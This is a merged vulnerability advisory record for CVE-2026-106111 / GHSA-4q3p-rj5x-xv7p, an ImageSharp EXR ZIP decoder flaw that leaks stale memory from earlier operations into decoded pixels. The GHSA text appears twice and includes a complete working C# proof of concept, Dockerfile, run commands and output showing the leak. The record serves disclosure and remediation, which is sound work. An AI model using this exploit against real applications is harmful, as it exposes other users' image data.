{"id":"CVE-2026-106111","aliases":["EUVD-2026-93576","GHSA-4q3p-rj5x-xv7p"],"status":"published","title":"ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate","description":"ImageSharp is a 2D graphics library. From 4.0.0 until 4.1.2, ExrBaseDecompressor.UndoZipCompression accepts a nonempty ZIP or ZIPS inflate result that is shorter than the EXR block's required size. ZipExrCompression.Decompress reconstructs the returned prefix while ExrDecoderCore processes the full expected block from a buffer obtained through Configuration.Default, allowing bytes retained from a completed prior ImageSharp operation to appear in decoded pixels. Applications that expose pixels or output from the later attacker-controlled EXR decode can disclose process-local image data. This issue is fixed in version 4.1.2.","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0028,"percentile":0.20789,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-226"],"published":"2026-10-06T17:44:24Z","modified":"2026-10-28T02:30:22Z","fixes":[{"ecosystem":"NuGet","package":"SixLabors.ImageSharp","fixed_in":["4.1.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"NuGet","package":"SixLabors.ImageSharp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"last_affected":"4.1.1"},{"fixed":"4.1.2"}]}]},{"source":"osv","ecosystem":"NuGet","package":"SixLabors.ImageSharp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.1.2"}]}],"versions":["4.0.0","4.1.0","4.1.1"]}],"products":[{"vendor":"sixlabors","product":"imagesharp"}],"references":[{"url":"https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-4q3p-rj5x-xv7p","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/SixLabors/ImageSharp/pull/3187","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/SixLabors/ImageSharp/commit/3c43cf583fdd98eff0f451397affaa31c6a2e6b1","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/SixLabors/ImageSharp/commit/6ed2a275217d39301e76df42acec2a9533b39d2b","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106111","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4q3p-rj5x-xv7p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/106xxx/CVE-2026-106111.json","tags":["advisory"]},{"url":"https://github.com/SixLabors/ImageSharp","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-106111","title":"ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate","description":"ImageSharp is a 2D graphics library. From 4.0.0 until 4.1.2, ExrBaseDecompressor.UndoZipCompression accepts a nonempty ZIP or ZIPS inflate result that is shorter than the EXR block's required size. ZipExrCompression.Decompress reconstructs the returned prefix while ExrDecoderCore processes the full expected block from a buffer obtained through Configuration.Default, allowing bytes retained from a completed prior ImageSharp operation to appear in decoded pixels. Applications that expose pixels or output from the later attacker-controlled EXR decode can disclose process-local image data. This issue is fixed in version 4.1.2.","status":"published","published":"2026-10-06T17:44:24.782Z","modified":"2026-10-06T18:18:50.655Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-226"],"updated_at":"2026-11-02T14:20:04.463704Z"}],"euvd":[{"id":"EUVD-2026-93576","description":"ImageSharp is a 2D graphics library. From 4.0.0 until 4.1.2, ExrBaseDecompressor.UndoZipCompression accepts a nonempty ZIP or ZIPS inflate result that is shorter than the EXR block's required size. ZipExrCompression.Decompress reconstructs the returned prefix while ExrDecoderCore processes the full expected block from a buffer obtained through Configuration.Default, allowing bytes retained from a completed prior ImageSharp operation to appear in decoded pixels. Applications that expose pixels or output from the later attacker-controlled EXR decode can disclose process-local image data. This issue is fixed in version 4.1.2.","status":"published","published":"2026-10-06T17:44:24Z","modified":"2026-10-06T18:18:50Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T17:27:36.701921Z"}],"ghsa":[{"id":"GHSA-4q3p-rj5x-xv7p","title":"ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate","description":"## Summary\n\nA crafted ZIP-compressed OpenEXR image can return stale memory from a prior\nImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty\ninflate result shorter than the EXR block's required size, then the EXR decoder\nreads the full expected block.\n\nThis is a process-local, cross-operation information-disclosure defect. It is\nrelevant when an application uses the shared `Configuration.Default` allocator\nfor separate image operations and exposes pixels or output derived from a later\nattacker-controlled EXR decode. Whether that creates a network attack path\ndepends on the host application.\n\nNo active exploitation is known.\n\n## Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**\n- Affected range: `\u003e= 4.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nEXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.\n## Details\n\nFor ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205)\nallocates the expected block buffer without `AllocationOptions.Clean` and later\ninterprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38)\naccepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75)\nrejects only `totalRead == 0`.\n\nOnly the returned prefix is reconstructed and interleaved into the destination\nblock. The remaining bytes retain allocator contents from a completed prior\noperation. `ExrDecoderCore` then converts those bytes into returned image\npixels.\n\n## Reproduction\n\nThe attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package\nversion 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that\ncontains the test value `0.27182817`. It then decodes a separate crafted 256x1\nFLOAT/ZIPS EXR.\n\nThe exploit payload inflates to 8 bytes although the declared image block needs\n1024 bytes. The control payload inflates to all 1024 bytes. The marker is\npresent only in exploit output.\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```\n\nTest environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK\n8.0.424 / .NET 8, Debian 12, Linux ARM64.\n\nObserved output:\n\n```text\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=exploit\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=True first-prior-value-pixel=4\n\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=control\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=False first-prior-value-pixel=-1\n```\n\n## Suggested remediation\n\nReject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected\nuncompressed byte count. Clearing the destination buffer is defense in depth,\nbut exact-length validation is required before parsing any decompressed bytes.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System.Buffers.Binary;\nusing System.Globalization;\nusing System.IO.Compression;\nusing System.Reflection;\nusing System.Text;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Formats.Exr;\nusing SixLabors.ImageSharp.Formats.Exr.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\n// This performs two independent completed ImageSharp operations in one process.\n// The first is a valid EXR encoding containing a test value. The second is a\n// malformed EXR decode whose short ZIP result exposes that value from the\n// allocator shared through Configuration.Default.\ninternal static class Program\n{\n    private const int PriorWidth = 64;\n    private const int AttackerWidth = 256;\n    private const float PriorValue = 0.271828182f;\n\n    private static int Main(string[] args)\n    {\n        bool exploit = args.Length == 0 || args[0] == \"exploit\";\n        if (args.Length \u003e 0 \u0026\u0026 args[0] is not (\"exploit\" or \"control\"))\n        {\n            Console.Error.WriteLine(\"usage: final-4q3p [exploit|control]\");\n            return 2;\n        }\n\n        Assembly imageSharp = typeof(Image).Assembly;\n        string informationalVersion = imageSharp\n            .GetCustomAttribute\u003cAssemblyInformationalVersionAttribute\u003e()?\n            .InformationalVersion\n            ?? \"(missing)\";\n        Console.WriteLine($\"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}\");\n        Console.WriteLine($\"mode={(exploit ? \"exploit\" : \"control\")}\");\n\n        EncodePriorOperation();\n\n        // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024\n        // uncompressed bytes. The control payload supplies all 1024 bytes.\n        // The exploit payload supplies eight non-empty bytes.\n        byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));\n        using Image\u003cRgbaVector\u003e result = Image.Load\u003cRgbaVector\u003e(\n            new DecoderOptions { Configuration = Configuration.Default },\n            new MemoryStream(exr));\n\n        result.DangerousTryGetSinglePixelMemory(out Memory\u003cRgbaVector\u003e memory);\n        int firstLeak = FindPriorValue(memory.Span);\n\n        Console.WriteLine($\"prior-value={PriorValue.ToString(\"R\", CultureInfo.InvariantCulture)}\");\n        Console.WriteLine($\"leaked={firstLeak \u003e= 0} first-prior-value-pixel={firstLeak}\");\n\n        if ((firstLeak \u003e= 0) != exploit)\n        {\n            Console.Error.WriteLine(\"unexpected disclosure result\");\n            return 1;\n        }\n\n        return 0;\n    }\n\n    private static void EncodePriorOperation()\n    {\n        using var previousImage = new Image\u003cRgbaVector\u003e(PriorWidth, 1);\n        for (int x = 0; x \u003c PriorWidth; x++)\n        {\n            previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);\n        }\n\n        using var encoded = new MemoryStream();\n        previousImage.Save(encoded, new ExrEncoder\n        {\n            Compression = ExrCompression.Zips,\n            PixelType = ExrPixelType.Float,\n        });\n\n        Console.WriteLine($\"prior-operation=valid-exr-encode-completed bytes={encoded.Length}\");\n    }\n\n    private static int FindPriorValue(ReadOnlySpan\u003cRgbaVector\u003e pixels)\n    {\n        int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);\n        for (int x = 0; x \u003c pixels.Length; x++)\n        {\n            if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)\n            {\n                return x;\n            }\n        }\n\n        return -1;\n    }\n\n    private static byte[] BuildAttackerExr(int inflatedBytes)\n    {\n        byte[] compressed = ZlibCompress(new byte[inflatedBytes]);\n        using var output = new MemoryStream();\n        using var writer = new BinaryWriter(output);\n\n        writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic\n        writer.Write((byte)2);\n        writer.Write(new byte[] { 0, 0, 0 });\n\n        using (var channels = new MemoryStream())\n        using (var channelWriter = new BinaryWriter(channels))\n        {\n            WriteString(channelWriter, \"R\");\n            channelWriter.Write(2); // FLOAT\n            channelWriter.Write((byte)0);\n            channelWriter.Write(new byte[] { 0, 0, 0 });\n            channelWriter.Write(1);\n            channelWriter.Write(1);\n            channelWriter.Write((byte)0);\n            WriteAttribute(writer, \"channels\", \"chlist\", channels.ToArray());\n        }\n\n        WriteAttribute(writer, \"compression\", \"compression\", new byte[] { 2 }); // ZIPS\n        WriteBox(writer, \"dataWindow\");\n        WriteBox(writer, \"displayWindow\");\n        WriteAttribute(writer, \"lineOrder\", \"lineOrder\", new byte[] { 0 });\n\n        byte[] one = new byte[4];\n        BinaryPrimitives.WriteSingleLittleEndian(one, 1F);\n        WriteAttribute(writer, \"pixelAspectRatio\", \"float\", one);\n        WriteAttribute(writer, \"screenWindowCenter\", \"v2f\", new byte[8]);\n        WriteAttribute(writer, \"screenWindowWidth\", \"float\", one);\n        writer.Write((byte)0); // end of header\n\n        long chunkOffset = output.Position + sizeof(ulong);\n        writer.Write((ulong)chunkOffset);\n        writer.Write((uint)0); // scanline\n        writer.Write((uint)compressed.Length);\n        writer.Write(compressed);\n        writer.Flush();\n        return output.ToArray();\n    }\n\n    private static void WriteBox(BinaryWriter writer, string name)\n    {\n        using var value = new MemoryStream();\n        using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))\n        {\n            box.Write(0);\n            box.Write(0);\n            box.Write(AttackerWidth - 1);\n            box.Write(0);\n        }\n\n        WriteAttribute(writer, name, \"box2i\", value.ToArray());\n    }\n\n    private static byte[] ZlibCompress(byte[] source)\n    {\n        using var compressed = new MemoryStream();\n        using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))\n        {\n            zlib.Write(source, 0, source.Length);\n        }\n\n        return compressed.ToArray();\n    }\n\n    private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)\n    {\n        WriteString(writer, name);\n        WriteString(writer, type);\n        writer.Write(value.Length);\n        writer.Write(value);\n    }\n\n    private static void WriteString(BinaryWriter writer, string value)\n    {\n        writer.Write(Encoding.ASCII.GetBytes(value));\n        writer.Write((byte)0);\n    }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n    \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n  \u003c/PropertyGroup\u003e\n  \u003cItemGroup\u003e\n    \u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\n\nWORKDIR /poc\nCOPY final-4q3p.csproj Program.cs ./\n\n# Debug is intentional: ImageSharp 4.1.1's package build target reports a\n# missing-license warning rather than an error in this configuration. The\n# program is still compiled against the published 4.1.1 NuGet assembly.\nRUN dotnet restore \u0026\u0026 dotnet build -c Debug --no-restore\n\nENTRYPOINT [\"dotnet\", \"bin/Debug/net8.0/final-4q3p.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```","status":"published","published":"2026-10-07T20:24:42Z","modified":"2026-10-07T20:24:43Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-226"],"updated_at":"2026-11-02T14:41:29.107536Z"}],"nvd":[{"id":"CVE-2026-106111","description":"ImageSharp is a 2D graphics library. From 4.0.0 until 4.1.2, ExrBaseDecompressor.UndoZipCompression accepts a nonempty ZIP or ZIPS inflate result that is shorter than the EXR block's required size. ZipExrCompression.Decompress reconstructs the returned prefix while ExrDecoderCore processes the full expected block from a buffer obtained through Configuration.Default, allowing bytes retained from a completed prior ImageSharp operation to appear in decoded pixels. Applications that expose pixels or output from the later attacker-controlled EXR decode can disclose process-local image data. This issue is fixed in version 4.1.2.","status":"published","published":"2026-10-06T18:16:52.65Z","modified":"2026-10-24T01:40:37.313Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-226"],"updated_at":"2026-11-02T14:12:54.486849Z"}],"osv":[{"id":"CVE-2026-106111","title":"ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate","description":"ImageSharp is a 2D graphics library. From 4.0.0 until 4.1.2, ExrBaseDecompressor.UndoZipCompression accepts a nonempty ZIP or ZIPS inflate result that is shorter than the EXR block's required size. ZipExrCompression.Decompress reconstructs the returned prefix while ExrDecoderCore processes the full expected block from a buffer obtained through Configuration.Default, allowing bytes retained from a completed prior ImageSharp operation to appear in decoded pixels. Applications that expose pixels or output from the later attacker-controlled EXR decode can disclose process-local image data. This issue is fixed in version 4.1.2.","status":"published","published":"2026-10-06T17:44:24.782Z","modified":"2026-10-28T02:30:22.005758211Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-226"],"updated_at":"2026-11-02T15:44:54.583213Z"},{"id":"GHSA-4q3p-rj5x-xv7p","title":"ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate","description":"## Summary\n\nA crafted ZIP-compressed OpenEXR image can return stale memory from a prior\nImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty\ninflate result shorter than the EXR block's required size, then the EXR decoder\nreads the full expected block.\n\nThis is a process-local, cross-operation information-disclosure defect. It is\nrelevant when an application uses the shared `Configuration.Default` allocator\nfor separate image operations and exposes pixels or output derived from a later\nattacker-controlled EXR decode. Whether that creates a network attack path\ndepends on the host application.\n\nNo active exploitation is known.\n\n## Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**\n- Affected range: `\u003e= 4.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nEXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.\n## Details\n\nFor ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205)\nallocates the expected block buffer without `AllocationOptions.Clean` and later\ninterprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38)\naccepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75)\nrejects only `totalRead == 0`.\n\nOnly the returned prefix is reconstructed and interleaved into the destination\nblock. The remaining bytes retain allocator contents from a completed prior\noperation. `ExrDecoderCore` then converts those bytes into returned image\npixels.\n\n## Reproduction\n\nThe attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package\nversion 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that\ncontains the test value `0.27182817`. It then decodes a separate crafted 256x1\nFLOAT/ZIPS EXR.\n\nThe exploit payload inflates to 8 bytes although the declared image block needs\n1024 bytes. The control payload inflates to all 1024 bytes. The marker is\npresent only in exploit output.\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```\n\nTest environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK\n8.0.424 / .NET 8, Debian 12, Linux ARM64.\n\nObserved output:\n\n```text\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=exploit\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=True first-prior-value-pixel=4\n\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=control\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=False first-prior-value-pixel=-1\n```\n\n## Suggested remediation\n\nReject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected\nuncompressed byte count. Clearing the destination buffer is defense in depth,\nbut exact-length validation is required before parsing any decompressed bytes.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System.Buffers.Binary;\nusing System.Globalization;\nusing System.IO.Compression;\nusing System.Reflection;\nusing System.Text;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Formats.Exr;\nusing SixLabors.ImageSharp.Formats.Exr.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\n// This performs two independent completed ImageSharp operations in one process.\n// The first is a valid EXR encoding containing a test value. The second is a\n// malformed EXR decode whose short ZIP result exposes that value from the\n// allocator shared through Configuration.Default.\ninternal static class Program\n{\n    private const int PriorWidth = 64;\n    private const int AttackerWidth = 256;\n    private const float PriorValue = 0.271828182f;\n\n    private static int Main(string[] args)\n    {\n        bool exploit = args.Length == 0 || args[0] == \"exploit\";\n        if (args.Length \u003e 0 \u0026\u0026 args[0] is not (\"exploit\" or \"control\"))\n        {\n            Console.Error.WriteLine(\"usage: final-4q3p [exploit|control]\");\n            return 2;\n        }\n\n        Assembly imageSharp = typeof(Image).Assembly;\n        string informationalVersion = imageSharp\n            .GetCustomAttribute\u003cAssemblyInformationalVersionAttribute\u003e()?\n            .InformationalVersion\n            ?? \"(missing)\";\n        Console.WriteLine($\"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}\");\n        Console.WriteLine($\"mode={(exploit ? \"exploit\" : \"control\")}\");\n\n        EncodePriorOperation();\n\n        // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024\n        // uncompressed bytes. The control payload supplies all 1024 bytes.\n        // The exploit payload supplies eight non-empty bytes.\n        byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));\n        using Image\u003cRgbaVector\u003e result = Image.Load\u003cRgbaVector\u003e(\n            new DecoderOptions { Configuration = Configuration.Default },\n            new MemoryStream(exr));\n\n        result.DangerousTryGetSinglePixelMemory(out Memory\u003cRgbaVector\u003e memory);\n        int firstLeak = FindPriorValue(memory.Span);\n\n        Console.WriteLine($\"prior-value={PriorValue.ToString(\"R\", CultureInfo.InvariantCulture)}\");\n        Console.WriteLine($\"leaked={firstLeak \u003e= 0} first-prior-value-pixel={firstLeak}\");\n\n        if ((firstLeak \u003e= 0) != exploit)\n        {\n            Console.Error.WriteLine(\"unexpected disclosure result\");\n            return 1;\n        }\n\n        return 0;\n    }\n\n    private static void EncodePriorOperation()\n    {\n        using var previousImage = new Image\u003cRgbaVector\u003e(PriorWidth, 1);\n        for (int x = 0; x \u003c PriorWidth; x++)\n        {\n            previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);\n        }\n\n        using var encoded = new MemoryStream();\n        previousImage.Save(encoded, new ExrEncoder\n        {\n            Compression = ExrCompression.Zips,\n            PixelType = ExrPixelType.Float,\n        });\n\n        Console.WriteLine($\"prior-operation=valid-exr-encode-completed bytes={encoded.Length}\");\n    }\n\n    private static int FindPriorValue(ReadOnlySpan\u003cRgbaVector\u003e pixels)\n    {\n        int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);\n        for (int x = 0; x \u003c pixels.Length; x++)\n        {\n            if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)\n            {\n                return x;\n            }\n        }\n\n        return -1;\n    }\n\n    private static byte[] BuildAttackerExr(int inflatedBytes)\n    {\n        byte[] compressed = ZlibCompress(new byte[inflatedBytes]);\n        using var output = new MemoryStream();\n        using var writer = new BinaryWriter(output);\n\n        writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic\n        writer.Write((byte)2);\n        writer.Write(new byte[] { 0, 0, 0 });\n\n        using (var channels = new MemoryStream())\n        using (var channelWriter = new BinaryWriter(channels))\n        {\n            WriteString(channelWriter, \"R\");\n            channelWriter.Write(2); // FLOAT\n            channelWriter.Write((byte)0);\n            channelWriter.Write(new byte[] { 0, 0, 0 });\n            channelWriter.Write(1);\n            channelWriter.Write(1);\n            channelWriter.Write((byte)0);\n            WriteAttribute(writer, \"channels\", \"chlist\", channels.ToArray());\n        }\n\n        WriteAttribute(writer, \"compression\", \"compression\", new byte[] { 2 }); // ZIPS\n        WriteBox(writer, \"dataWindow\");\n        WriteBox(writer, \"displayWindow\");\n        WriteAttribute(writer, \"lineOrder\", \"lineOrder\", new byte[] { 0 });\n\n        byte[] one = new byte[4];\n        BinaryPrimitives.WriteSingleLittleEndian(one, 1F);\n        WriteAttribute(writer, \"pixelAspectRatio\", \"float\", one);\n        WriteAttribute(writer, \"screenWindowCenter\", \"v2f\", new byte[8]);\n        WriteAttribute(writer, \"screenWindowWidth\", \"float\", one);\n        writer.Write((byte)0); // end of header\n\n        long chunkOffset = output.Position + sizeof(ulong);\n        writer.Write((ulong)chunkOffset);\n        writer.Write((uint)0); // scanline\n        writer.Write((uint)compressed.Length);\n        writer.Write(compressed);\n        writer.Flush();\n        return output.ToArray();\n    }\n\n    private static void WriteBox(BinaryWriter writer, string name)\n    {\n        using var value = new MemoryStream();\n        using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))\n        {\n            box.Write(0);\n            box.Write(0);\n            box.Write(AttackerWidth - 1);\n            box.Write(0);\n        }\n\n        WriteAttribute(writer, name, \"box2i\", value.ToArray());\n    }\n\n    private static byte[] ZlibCompress(byte[] source)\n    {\n        using var compressed = new MemoryStream();\n        using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))\n        {\n            zlib.Write(source, 0, source.Length);\n        }\n\n        return compressed.ToArray();\n    }\n\n    private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)\n    {\n        WriteString(writer, name);\n        WriteString(writer, type);\n        writer.Write(value.Length);\n        writer.Write(value);\n    }\n\n    private static void WriteString(BinaryWriter writer, string value)\n    {\n        writer.Write(Encoding.ASCII.GetBytes(value));\n        writer.Write((byte)0);\n    }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n    \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n  \u003c/PropertyGroup\u003e\n  \u003cItemGroup\u003e\n    \u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\n\nWORKDIR /poc\nCOPY final-4q3p.csproj Program.cs ./\n\n# Debug is intentional: ImageSharp 4.1.1's package build target reports a\n# missing-license warning rather than an error in this configuration. The\n# program is still compiled against the published 4.1.1 NuGet assembly.\nRUN dotnet restore \u0026\u0026 dotnet build -c Debug --no-restore\n\nENTRYPOINT [\"dotnet\", \"bin/Debug/net8.0/final-4q3p.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```","status":"published","published":"2026-10-07T20:24:42Z","modified":"2026-10-07T20:30:07.092251615Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-226"],"updated_at":"2026-11-02T15:46:37.148947Z"}]}}
